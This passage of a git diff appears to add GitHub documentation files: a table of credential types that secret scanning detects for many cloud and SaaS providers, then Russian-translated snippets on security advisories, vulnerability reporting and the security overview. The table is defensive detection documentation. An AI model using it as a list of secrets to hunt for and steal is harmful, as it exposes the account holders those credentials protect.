alibaba_cloud_access_key_secret +Amazon | Amazon OAuth Client ID with Amazon OAuth Client Secret | amazon_oauth_client_id
amazon_oauth_client_secret +Amazon Web Services (AWS) | Amazon AWS Access Key ID with Amazon AWS Secret Access Key | aws_access_key_id
aws_secret_access_key +Amazon Web Services (AWS) | Amazon AWS Session Token with Amazon AWS Temporary Access Key ID and Amazon AWS Secret Access Key | aws_session_token
aws_temporary_access_key_id
aws_secret_access_key +Asana | Asana {% data variables.product.pat_generic_title_case %} | asana_personal_access_token +Atlassian | Bitbucket Server {% data variables.product.pat_generic_title_case %} | bitbucket_server_personal_access_token +Azure | Azure Active Directory Application Secret | azure_active_directory_application_secret +{%- ifversion fpt or ghec or ghes > 3.8 or ghae > 3.8 %} +Azure | Azure Batch Key Identifiable | azure_batch_key_identifiable{% endif %} +Azure | Azure Cache for Redis Access Key | azure_cache_for_redis_access_key +{%- ifversion fpt or ghec or ghes > 3.8 or ghae > 3.8 %} +Azure | Azure CosmosDB Key Identifiable | azure_cosmosdb_key_identifiable{% endif %} +Azure | Azure DevOps {% data variables.product.pat_generic_title_case %} | azure_devops_personal_access_token +{%- ifversion fpt or ghec or ghes > 3.8 or ghae > 3.8 %} +Azure | Azure ML Studio (classic) Web Service Key | azure_ml_studio_classic_web_service_key{% endif %} +{%- ifversion fpt or ghec or ghes > 3.6 or ghae > 3.6 %} +Azure | Azure Storage Account Key | azure_storage_account_key{% endif %} +Checkout.com | Checkout.com Production Secret Key | checkout_production_secret_key +Clojars | Clojars Deploy Token | clojars_deploy_token +Databricks | Databricks Access Token | databricks_access_token +{%- ifversion fpt or ghec or ghes > 3.8 or ghae > 3.8 %} +DevCycle | DevCycle Client API Key | devcycle_client_api_key +DevCycle | DevCycle Server API Key | devcycle_server_api_key +DevCycle | DevCycle Mobile API Key | devcycle_mobile_api_key{% endif %} +DigitalOcean | DigitalOcean {% data variables.product.pat_generic_title_case %} | digitalocean_personal_access_token +DigitalOcean | DigitalOcean OAuth Token | digitalocean_oauth_token +DigitalOcean | DigitalOcean Refresh Token | digitalocean_refresh_token +DigitalOcean | DigitalOcean System Token | digitalocean_system_token +Discord | Discord Bot Token | discord_bot_token +Doppler | Doppler Personal Token | doppler_personal_token +Doppler | Doppler Service Token | doppler_service_token +Doppler | Doppler CLI Token | doppler_cli_token +Doppler | Doppler SCIM Token | doppler_scim_token +Doppler | Doppler Audit Token | doppler_audit_token +Dropbox | Dropbox Short Lived Access Token | dropbox_short_lived_access_token +Duffel | Duffel Live Access Token | duffel_live_access_token +EasyPost | EasyPost Production API Key | easypost_production_api_key +Flutterwave | Flutterwave Live API Secret Key | flutterwave_live_api_secret_key +Fullstory | FullStory API Key | fullstory_api_key +GitHub | GitHub {% data variables.product.pat_generic_title_case %} | github_personal_access_token +GitHub | GitHub OAuth Access Token | github_oauth_access_token +GitHub | GitHub Refresh Token | github_refresh_token +GitHub | GitHub App Installation Access Token | github_app_installation_access_token +GitHub | GitHub SSH Private Key | github_ssh_private_key +Google | Google Cloud Storage Service Account Access Key ID with Google Cloud Storage Access Key Secret | google_cloud_storage_service_account_access_key_id
google_cloud_storage_access_key_secret +Google | Google Cloud Storage User Access Key ID with Google Cloud Storage Access Key Secret | google_cloud_storage_user_access_key_id
google_cloud_storage_access_key_secret +Google | Google OAuth Client ID with Google OAuth Client Secret | google_oauth_client_id
google_oauth_client_secret +Grafana | Grafana API Key | grafana_api_key +{%- ifversion fpt or ghec or ghes > 3.8 or ghae > 3.8 %} +HashiCorp | HashiCorp Vault Batch Token (v1.10.0+) | hashicorp_vault_batch_token +HashiCorp | HashiCorp Vault Root Service Token (v1.10.0+) | hashicorp_vault_root_service_token +HashiCorp | HashiCorp Vault Service Token (v1.10.0+) | hashicorp_vault_service_token{% endif %} +Hubspot | Hubspot API Key | hubspot_api_key +Intercom | Intercom Access Token | intercom_access_token +{%- ifversion fpt or ghec or ghes > 3.6 or ghae > 3.6 %} +JFrog | JFrog Platform Access Token | jfrog_platform_access_token +JFrog | JFrog Platform API Key | jfrog_platform_api_key{% endif %} +Ionic | Ionic {% data variables.product.pat_generic_title_case %} | ionic_personal_access_token +Ionic | Ionic Refresh Token | ionic_refresh_token +Linear | Linear API Key | linear_api_key +Linear | Linear OAuth Access Token | linear_oauth_access_token +{%- ifversion fpt or ghec or ghes > 3.8 or ghae > 3.8 %} +LogicMonitor | LogicMonitor Bearer Token | logicmonitor_bearer_token +LogicMonitor | LogicMonitor LMV1 Access Key | logicmonitor_lmv1_access_key{% endif %} +Midtrans | Midtrans Production Server Key | midtrans_production_server_key +New Relic | New Relic Personal API Key | new_relic_personal_api_key +New Relic | New Relic REST API Key | new_relic_rest_api_key +New Relic | New Relic Insights Query Key | new_relic_insights_query_key +npm | npm Access Token | npm_access_token +NuGet | NuGet API Key | nuget_api_key +Onfido | Onfido Live API Token | onfido_live_api_token +OpenAI | OpenAI API Key | openai_api_key +PlanetScale | PlanetScale Database Password | planetscale_database_password +PlanetScale | PlanetScale OAuth Token | planetscale_oauth_token +PlanetScale | PlanetScale Service Token | planetscale_service_token +Postman | Postman API Key | postman_api_key +{%- ifversion fpt or ghec or ghes > 3.6 or ghae > 3.6 %} +Prefect | Prefect Server API Key | prefect_server_api_key +Prefect | Prefect User API Key | prefect_user_api_key{% endif %} +Proctorio | Proctorio Secret Key | proctorio_secret_key +{%- ifversion fpt or ghec or ghes > 3.6 or ghae > 3.6 %} +ReadMe | ReadMe API Access Key | readmeio_api_access_token{% endif %} +{%- ifversion fpt or ghec or ghes > 3.5 or ghae > 3.5 %} +redirect.pizza | redirect.pizza API Token | redirect_pizza_api_token{% endif %} +Samsara | Samsara API Token | samsara_api_token +Samsara | Samsara OAuth Access Token | samsara_oauth_access_token +SendGrid | SendGrid API Key | sendgrid_api_key +Sendinblue | Sendinblue API Key | sendinblue_api_key +Sendinblue | Sendinblue SMTP Key | sendinblue_smtp_key +Shippo | Shippo Live API Token | shippo_live_api_token +Shopify | Shopify App Shared Secret | shopify_app_shared_secret +Shopify | Shopify Access Token | shopify_access_token +Slack | Slack API Token | slack_api_token +Stripe | Stripe Live API Secret Key | stripe_api_key +Tencent Cloud | Tencent Cloud Secret ID | tencent_cloud_secret_id +Typeform | Typeform {% data variables.product.pat_generic_title_case %} | typeform_personal_access_token +{%- ifversion fpt or ghec or ghes > 3.6 or ghae > 3.6 %} +Uniwise | WISEflow API Key | wiseflow_api_key{% endif %} +WorkOS | WorkOS Production API Key | workos_production_api_key +{%- ifversion fpt or ghec or ghes > 3.6 or ghae > 3.6 %} +Zuplo | Zuplo Consumer API Key | zuplo_consumer_api_key{% endif %} diff --git a/translations/ru-RU/data/reusables/secret-scanning/secret-scanning-pattern-pair-matches.md b/translations/ru-RU/data/reusables/secret-scanning/secret-scanning-pattern-pair-matches.md new file mode 100644 index 000000000000..910aea5f69e6 --- /dev/null +++ b/translations/ru-RU/data/reusables/secret-scanning/secret-scanning-pattern-pair-matches.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 7813507637dede82eb4931ce69b4bccd74e62875 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147410861" +--- +Если для доступа к ресурсу требуются парные учетные данные, при сканировании секретов оповещение создается только в том случае, если обе части пары будут обнаружены в одном файле. Это гарантирует, что данные о частичных утечках не скрывают наиболее критичные утечки. diff --git a/translations/ru-RU/data/reusables/secret-scanning/secret-scanning-process.md b/translations/ru-RU/data/reusables/secret-scanning/secret-scanning-process.md new file mode 100644 index 000000000000..2c0580254081 --- /dev/null +++ b/translations/ru-RU/data/reusables/secret-scanning/secret-scanning-process.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 1e0634210e9579125f9acfcc96ca0a14e151f037 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147882250" +--- +{% data variables.product.prodname_secret_scanning %} сканирует все секреты во всем журнале Git во всех ветвях, имеющихся в репозитории {% data variables.product.prodname_dotcom %}. diff --git a/translations/ru-RU/data/reusables/security-advisory/disclosing-vulnerabilities.md b/translations/ru-RU/data/reusables/security-advisory/disclosing-vulnerabilities.md new file mode 100644 index 000000000000..e99f1dc88aad --- /dev/null +++ b/translations/ru-RU/data/reusables/security-advisory/disclosing-vulnerabilities.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: c759dde3d7cef97722fb7c3a002714e08f0b8e45 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145139390" +--- +Раскрытие уязвимостей — это область, в которой очень важно сотрудничество между специалистами, сообщающими об уязвимостях, такими как исследователи по безопасности и специалисты по поддержке проектов. Обе стороны должны работать как одна команда с того момента, когда обнаружена потенциально вредная уязвимость безопасности, и до тех пор, пока уязвимость не будет раскрыта миру (в идеале — с доступным исправлением). Как правило, когда кто-то сообщает специалисту-специалисту об уязвимости системы безопасности в частном порядке, специалист по поддержке разрабатывает исправление, проверяет его и уведомляет пользователей о проекте или пакете. diff --git a/translations/ru-RU/data/reusables/security-advisory/global-advisories.md b/translations/ru-RU/data/reusables/security-advisory/global-advisories.md new file mode 100644 index 000000000000..dea60296facf --- /dev/null +++ b/translations/ru-RU/data/reusables/security-advisory/global-advisories.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: cb874d7a6fcaa0deeb828d91f9769df69050d337 +ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/27/2022 +ms.locfileid: "148114069" +--- +Рекомендации по безопасности в {% data variables.product.prodname_advisory_database %} на сайте [github.com/advisories](https://github.com/advisories) считаются глобальными. Любой пользователь может выдвинуть предложение по улучшению любой глобальной рекомендации по безопасности в {% data variables.product.prodname_advisory_database %}. Вы можете изменить или добавить любые сведения, включая дополнительно затронутые экосистемы, степень серьезности или описание тех, кого коснулись изменения. Команда по проверке {% data variables.product.prodname_security %} рассмотрит отправленные улучшения и, если они будут приняты, опубликует их в {% data variables.product.prodname_advisory_database %}. \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/security-advisory/link-browsing-advisory-db.md b/translations/ru-RU/data/reusables/security-advisory/link-browsing-advisory-db.md new file mode 100644 index 000000000000..91a1012bd3bf --- /dev/null +++ b/translations/ru-RU/data/reusables/security-advisory/link-browsing-advisory-db.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 9bd9a97aac8ee24742aacd8f37472811372d06ea +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147410566" +--- +Дополнительные сведения см. в статье [Просмотр рекомендаций по безопасности в {% data variables.product.prodname_advisory_database %}](/code-security/dependabot/dependabot-alerts/browsing-security-advisories-in-the-github-advisory-database). diff --git a/translations/ru-RU/data/reusables/security-advisory/private-vulnerability-reporting-beta.md b/translations/ru-RU/data/reusables/security-advisory/private-vulnerability-reporting-beta.md new file mode 100644 index 000000000000..7fe68c91a0bf --- /dev/null +++ b/translations/ru-RU/data/reusables/security-advisory/private-vulnerability-reporting-beta.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 3a6ce7caed12668a49728186aa2d3911d4f90668 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148159797" +--- +{% note %} + +**Примечание:** Частные отчеты об уязвимостях в настоящее время находятся в бета-версии и могут быть изменены. + +{% endnote %} \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/security-advisory/private-vulnerability-reporting-enable.md b/translations/ru-RU/data/reusables/security-advisory/private-vulnerability-reporting-enable.md new file mode 100644 index 000000000000..4c12d06f38e6 --- /dev/null +++ b/translations/ru-RU/data/reusables/security-advisory/private-vulnerability-reporting-enable.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: e4d1f38bc3b4f5c0ac9efbe78084116696d2ee34 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148159810" +--- +Владельцы и администраторы общедоступных репозиториев могут включить частные отчеты об уязвимостях для своих репозиториев. Дополнительные сведения см. в разделе [Настройка частных отчетов об уязвимостях для репозитория](/code-security/security-advisories/repository-security-advisories/configuring-private-vulnerability-reporting-for-a-repository). + diff --git a/translations/ru-RU/data/reusables/security-advisory/private-vulnerability-reporting-overview.md b/translations/ru-RU/data/reusables/security-advisory/private-vulnerability-reporting-overview.md new file mode 100644 index 000000000000..dc45f98b4445 --- /dev/null +++ b/translations/ru-RU/data/reusables/security-advisory/private-vulnerability-reporting-overview.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 76133fe9416c92282de821d12e88432cdc1b5452 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148159834" +--- +Отчеты о частных уязвимостях позволяют исследователям безопасности сообщать об уязвимостях непосредственно с помощью простой формы. + +Когда исследователь по безопасности сообщает об уязвимости в частном порядке, вы получите уведомление и можете принять ее, задать дополнительные вопросы или отклонить ее. Если вы принимаете отчет, вы готовы к совместной работе над исправлением уязвимости в частном порядке с исследователем по безопасности. \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/security-advisory/repository-level-advisory-note.md b/translations/ru-RU/data/reusables/security-advisory/repository-level-advisory-note.md new file mode 100644 index 000000000000..7148a6a985ed --- /dev/null +++ b/translations/ru-RU/data/reusables/security-advisory/repository-level-advisory-note.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: 3219e988ebe930271ce7a7972f04aacac1d71e40 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145137534" +--- +{% note %} + +**Примечание**. Сведения в этой статье применимы к редактированию рекомендаций на уровне репозитория с правами владельца репозитория. + +Пользователи, которые не являются владельцами репозитория, могут делать вклад в глобальные рекомендации по безопасности в {% data variables.product.prodname_advisory_database %} на сайте [github.com/advisories](https://github.com/advisories). Правки в глобальных рекомендациях не изменяют и не влияют на параметры отображения рекомендаций в репозитории. Дополнительные сведения см. в разделе [Редактирование рекомендаций по безопасности в {% data variables.product.prodname_advisory_database %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/editing-security-advisories-in-the-github-advisory-database). + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/security-advisory/security-advisory-overview.md b/translations/ru-RU/data/reusables/security-advisory/security-advisory-overview.md new file mode 100644 index 000000000000..ee59cc341c4d --- /dev/null +++ b/translations/ru-RU/data/reusables/security-advisory/security-advisory-overview.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 329fc14d26f27da725619bc862b99ff239c9aa14 +ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/27/2022 +ms.locfileid: "148114075" +--- +Рекомендации по безопасности репозитория позволяют обслуживателям репозитория в частном порядке обсуждать и устранять уязвимость системы безопасности в проекте. После совместной работы над исправлением разработчики репозиториев могут публиковать рекомендации по безопасности, чтобы сообщить об уязвимости системы безопасности сообществу проекта. Публикуя рекомендации по безопасности, разработчики репозитория упрощают для сообщества обновление зависимостей пакетов и ознакомление с последствиями уязвимостей системы безопасности. diff --git a/translations/ru-RU/data/reusables/security-advisory/security-researcher-cannot-create-advisory.md b/translations/ru-RU/data/reusables/security-advisory/security-researcher-cannot-create-advisory.md new file mode 100644 index 000000000000..174732e38e95 --- /dev/null +++ b/translations/ru-RU/data/reusables/security-advisory/security-researcher-cannot-create-advisory.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 7d82a865735b8fa7966b15d72c0710224ceead3f +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148160184" +--- +{% note %} + +**Примечание.** Если вы занимаетесь исследованиями в сфере безопасности, обратитесь напрямую к специалистам по поддержке, чтобы попросить их создать рекомендации по безопасности или выдать CVE от вашего имени в репозиториях, которые вы не администрируете. Однако если для репозитория включены частные отчеты vulnerabiliy, вы можете самостоятельно сообщить об уязвимости в _частном порядке_ . Дополнительные сведения см. в разделе ["Конфиденциальное сообщение об уязвимости системы безопасности](/code-security/security-advisories/guidance-on-reporting-and-writing/privately-reporting-a-security-vulnerability)". + +{% endnote %} \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/security-overview/about-the-security-overview.md b/translations/ru-RU/data/reusables/security-overview/about-the-security-overview.md new file mode 100644 index 000000000000..72e61ce23d02 --- /dev/null +++ b/translations/ru-RU/data/reusables/security-overview/about-the-security-overview.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 3cb6c82081c33d45d039fef92162f4061287f14e +ms.sourcegitcommit: c2aa10a61db44ee111c09565b6114dd5c97b6e2e +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/14/2022 +ms.locfileid: "148163464" +--- +Общие сведения о безопасности содержат общие сведения о состоянии безопасности организации или предприятия и упрощают выявление проблемных репозиториев, требующих вмешательства. Вы также можете использовать обзор безопасности, чтобы узнать, в каких репозиториях включены определенные функции безопасности, и настроить все доступные функции безопасности, которые в настоящее время не используются. \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/security-overview/beta-org-risk-coverage.md b/translations/ru-RU/data/reusables/security-overview/beta-org-risk-coverage.md new file mode 100644 index 000000000000..13491b302765 --- /dev/null +++ b/translations/ru-RU/data/reusables/security-overview/beta-org-risk-coverage.md @@ -0,0 +1,7 @@ +{% ifversion security-overview-org-risk-coverage %} +{% note %} + +**Note:** The "Security Risk" and "Security Coverage" views are currently in beta and subject to change. + +{% endnote %} +{% endif %} diff --git a/translations/ru-RU/data/reusables/security-overview/beta.md b/translations/ru-RU/data/reusables/security-overview/beta.md new file mode 100644 index 000000000000..988389f49502 --- /dev/null +++ b/translations/ru-RU/data/reusables/security-overview/beta.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 27d429cab1bb55d38e886f07158c1a2708380f6a +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147168428" +--- +{% note %} + +**Примечание.** Обзор безопасности в настоящее время находится на этапе бета-тестирования и может быть изменен. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/security-overview/information-varies-GHAS.md b/translations/ru-RU/data/reusables/security-overview/information-varies-GHAS.md new file mode 100644 index 000000000000..601098168990 --- /dev/null +++ b/translations/ru-RU/data/reusables/security-overview/information-varies-GHAS.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 55863906d744c997149aa2fffd6541f32e42c0d1 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148108907" +--- +{% ifversion security-overview-displayed-alerts %} Сведения, приведенные в обзоре безопасности, будут отличаться в зависимости от уровня вашего доступа к репозиториям и от того, используют ли эти репозитории {% data variables.product.prodname_GH_advanced_security %}. +{% endif %} diff --git a/translations/ru-RU/data/reusables/security-overview/permissions.md b/translations/ru-RU/data/reusables/security-overview/permissions.md new file mode 100644 index 000000000000..43dd55172d5e --- /dev/null +++ b/translations/ru-RU/data/reusables/security-overview/permissions.md @@ -0,0 +1 @@ +{% ifversion not fpt %}Organization owners and security managers can access the organization-level security overview{% ifversion ghec or ghes > 3.4 or ghae > 3.4 %} and view alerts across multiple organizations via the enterprise-level security overview. Enterprise owners can only view repositories and alerts for organizations where they are added as an organization owner or security manager{% endif %}. {% ifversion ghec or ghes > 3.6 or ghae > 3.6 %}Organization members can access the organization-level security overview to view results for repositories where they have admin privileges or have been granted access to security alerts.{% else %}Members of a team can see the security overview for repositories that the team has admin privileges for.{% endif %}{% endif %} diff --git a/translations/ru-RU/data/reusables/security/compliance-report-list.md b/translations/ru-RU/data/reusables/security/compliance-report-list.md new file mode 100644 index 000000000000..a1f1ee3c9d43 --- /dev/null +++ b/translations/ru-RU/data/reusables/security/compliance-report-list.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: d39703b72244e3f2afa2877cf9eace4da2357e29 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145139377" +--- +- SOC 1 Тип 2 +- SOC 2 Тип 2 +- Самостоятельная оценка CAIQ в Cloud Security Alliance (CSA CAIQ) +- Сертификация ISO/IEC 27001:2013 +- {% data variables.product.prodname_dotcom_the_website %} План обеспечения непрерывности бизнес-процессов и управления инцидентами diff --git a/translations/ru-RU/data/reusables/security/compliance-report-screenshot.md b/translations/ru-RU/data/reusables/security/compliance-report-screenshot.md new file mode 100644 index 000000000000..a18aeb626d82 --- /dev/null +++ b/translations/ru-RU/data/reusables/security/compliance-report-screenshot.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 33fb32036a9b4ad6930271ef02217b8e9be69abf +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145139374" +--- +![Снимок экрана: кнопка скачивания справа от отчета о соответствии](/assets/images/help/settings/compliance-report-download.png) diff --git a/translations/ru-RU/data/reusables/security/displayed-information.md b/translations/ru-RU/data/reusables/security/displayed-information.md new file mode 100644 index 000000000000..b5ae6bb23e34 --- /dev/null +++ b/translations/ru-RU/data/reusables/security/displayed-information.md @@ -0,0 +1,16 @@ +--- +ms.openlocfilehash: b57bbd1a709b4cae3b93607d1cd03c1a4a31be15 +ms.sourcegitcommit: 6bd8fe6d49214743f82fa2dc71847c241f140c87 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/07/2022 +ms.locfileid: "148135690" +--- +При включении одной или нескольких функций безопасности и анализа для существующих репозиториев результаты появятся на {% data variables.product.prodname_dotcom %} в течение нескольких минут: + +- Все существующие репозитории будут иметь выбранную конфигурацию. +- Новые репозитории будут следовать выбранной конфигурации, если вы установили флажок для новых репозиториев. {% ifversion GH-advisory-db-supports-malware %} +- Мы используем разрешения для проверки файлов манифеста с целью применения соответствующих служб. +- Если этот параметр включен, в графе зависимостей отобразятся сведения о зависимостях. +- Если этот параметр включен, {% data variables.product.prodname_dotcom %} создаст {% data variables.product.prodname_dependabot_alerts %} для уязвимых зависимостей или вредоносных программ. {% endif %} {% ifversion fpt or ghec or ghes %} +- Если этот параметр включен, обновления для системы безопасности {% data variables.product.prodname_dependabot %} будут создавать запросы на вытягивание для обновления уязвимых зависимостей при активации {% data variables.product.prodname_dependabot_alerts %}.{% endif %} diff --git a/translations/ru-RU/data/reusables/security/overview-of-phased-approach-for-ghas-rollout.md b/translations/ru-RU/data/reusables/security/overview-of-phased-approach-for-ghas-rollout.md new file mode 100644 index 000000000000..83e32042295c --- /dev/null +++ b/translations/ru-RU/data/reusables/security/overview-of-phased-approach-for-ghas-rollout.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: 0bc2ac8ffeba49903cd3bd5763eea28819b5f8f9 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145139369" +--- +Мы создали поэтапный подход к развертываниям {% data variables.product.prodname_GH_advanced_security %} (GHAS), разработанным на основе отраслевых рекомендаций и рекомендаций GitHub. Вы можете использовать этот подход для развертывания с помощью {% data variables.product.prodname_professional_services %} или же независимо. + +Мы рекомендуем использовать поэтапный подход, однако вы можете вносить корректировки по ходу процесса с учетом потребностей вашей организации. Мы также рекомендуем создать временную шкалу развертывания и реализации и придерживаться ее. На начальном этапе планирования мы можем помочь определить идеальный подход и составить временную шкалу, которая лучше всего подходит для вашей организации. + +Основываясь на нашем опыте оказания помощи клиентам в успешном развертывании GHAS, мы ожидаем, что большинство клиентов захотят выполнить развертывание согласно предлагаемым нами этапам. + +Учитывая потребности организации, вы можете менять подход, удаляя или изменяя некоторые этапы и шаги. + +![Схема, на которой показаны три этапа развертывания GitHub Advanced Security. Этап 0: планирование и старт проекта. Этап 1: пилотные проекты. Этап 2: создание вовлеченности и развертывание для ранних последователей. Этап 3: полное развертывание в масштабе организации и управление изменениями](/assets/images/enterprise/security/advanced-security-phased-approach-diagram.png) diff --git a/translations/ru-RU/data/reusables/security/security-and-analysis-features-enable-read-only.md b/translations/ru-RU/data/reusables/security/security-and-analysis-features-enable-read-only.md new file mode 100644 index 000000000000..130390462006 --- /dev/null +++ b/translations/ru-RU/data/reusables/security/security-and-analysis-features-enable-read-only.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 33669a3a662fab403ad665603dd19d40fe2a6030 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145139366" +--- +{% ifversion fpt or ghec %} Если включены функции безопасности и анализа, {% data variables.product.company_short %} выполняет анализ только для чтения в репозитории. Дополнительные сведения см. в разделе [Сведения об использовании ваших данных в {% data variables.product.company_short %}](/github/understanding-how-github-uses-and-protects-your-data/about-githubs-use-of-your-data). +{% endif %} diff --git a/translations/ru-RU/data/reusables/security/some-security-and-analysis-features-are-enabled-by-default.md b/translations/ru-RU/data/reusables/security/some-security-and-analysis-features-are-enabled-by-default.md new file mode 100644 index 000000000000..2eb3b8572389 --- /dev/null +++ b/translations/ru-RU/data/reusables/security/some-security-and-analysis-features-are-enabled-by-default.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 22004624bd07598949b85766f5087a7978731437 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145137518" +--- +{% ifversion fpt or ghec %} {% note %} + +**Примечание**. Вы не можете отключить некоторые функции безопасности и анализа, которые включены по умолчанию для общедоступных репозиториев. + +{% endnote %} {% endif %} diff --git a/translations/ru-RU/data/reusables/server-statistics/csv-download.md b/translations/ru-RU/data/reusables/server-statistics/csv-download.md new file mode 100644 index 000000000000..ecbea66e425f --- /dev/null +++ b/translations/ru-RU/data/reusables/server-statistics/csv-download.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: ed5055403a7104af88889bc4aae7cb495b8d4fee +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147061853" +--- +4. Чтобы начать загрузку, в разделе "{% data variables.product.prodname_github_connect %}" нажмите кнопку **Экспорт**, а затем выберите формат файла: JSON или CSV. + ![Снимок экрана: кнопка экспорта в разделе "Статистика сервера" на странице подключения GitHub](/assets/images/help/server-statistics/export-button.png) diff --git a/translations/ru-RU/data/reusables/shortdesc/authenticating_github_app.md b/translations/ru-RU/data/reusables/shortdesc/authenticating_github_app.md new file mode 100644 index 000000000000..953d34d47468 --- /dev/null +++ b/translations/ru-RU/data/reusables/shortdesc/authenticating_github_app.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e79f50effe83afaf2b110e359228f7aac5695aeb +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145137513" +--- +Сведения о проверке подлинности в качестве приложения GitHub см. в разделе [Параметры проверки подлинности для приложений GitHub](/apps/building-github-apps/authentication-options-for-github-apps#authenticating-as-a-github-app). diff --git a/translations/ru-RU/data/reusables/shortdesc/authenticating_with_github_apps.md b/translations/ru-RU/data/reusables/shortdesc/authenticating_with_github_apps.md new file mode 100644 index 000000000000..1614ef8357ea --- /dev/null +++ b/translations/ru-RU/data/reusables/shortdesc/authenticating_with_github_apps.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 55bd6b3d8e445c1c5f5e8217e4f9b4876ddf4bee +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145140038" +--- +Вы можете проверить подлинность приложения {% data variables.product.prodname_github_app %} или установки. diff --git a/translations/ru-RU/data/reusables/shortdesc/authorizing_oauth_apps.md b/translations/ru-RU/data/reusables/shortdesc/authorizing_oauth_apps.md new file mode 100644 index 000000000000..8fb2b75c90bd --- /dev/null +++ b/translations/ru-RU/data/reusables/shortdesc/authorizing_oauth_apps.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 